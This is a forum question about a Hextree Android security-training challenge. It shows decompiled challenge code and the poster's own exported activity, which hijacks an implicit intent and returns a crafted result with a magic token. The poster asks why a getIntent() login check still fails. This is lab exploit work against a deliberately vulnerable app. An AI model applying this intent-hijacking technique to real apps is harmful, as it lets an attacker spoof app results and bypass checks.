To solve the challenge, I wrote this code, first intent
gets called by the target app, then I will start intent_result_flag12
with the required data to not satisfy the condition if (intent == null || getIntent() == null || !getIntent().getBooleanExtra("LOGIN", false))
to call success()
method, but with my current code it always satisfies and returns without doing anything, that means one of the condition always becomes true.
but my question is what is the difference between intent and getIntent() in onActivityResult
, here the intent in onActivityResult
is my intent_result_flag12
that sends the result data when intent is called. but what is getIntent() in onActivityResult
?
Decompiled challenge app:
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
this.f = new LogHelper(this);
if (getIntent().getAction() == null) {
Toast.makeText(this, "Sending implicit intent to\nio.hextree.attacksurface.ATTACK_ME", 1).show();
Intent intent = new Intent("io.hextree.attacksurface.ATTACK_ME");
intent.addFlags(8);
try {
startActivityForResult(intent, 42);
} catch (RuntimeException e) {
e.printStackTrace();
Toast.makeText(this, "No app found to handle the intent\nio.hextree.attacksurface.ATTACK_ME", 1).show();
finish();
}
}
}
@Override
protected void onActivityResult(int i, int i2, Intent intent) {
super.onActivityResult(i, i2, intent);
if (intent == null || getIntent() == null || !getIntent().getBooleanExtra("LOGIN", false)) {
return;
}
this.f.addTag("LOGIN");
if (intent.getIntExtra("token", -1) == 1094795585) {
this.f.addTag(1094795585);
success(this);
}
}
My app code HijackImplicitIntentsActivity:
Intent intent = getIntent();
Intent intent_result_flag12 = new Intent();
Intent intent_extra = new Intent();
intent_extra.putExtra("LOGIN", false);
intent_result_flag12.putExtra("token", 1094795585);
intent_result_flag12.putExtras(intent_extra);
setResult(RESULT_OK, intent_result_flag12);
finish();
AndroidManifest.xml
<activity android:name=".HijackImplicitIntentsActivity"
android:exported="true">
<intent-filter>
<action android:name="io.hextree.attacksurface.ATTACK_ME"/> <category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
</activity>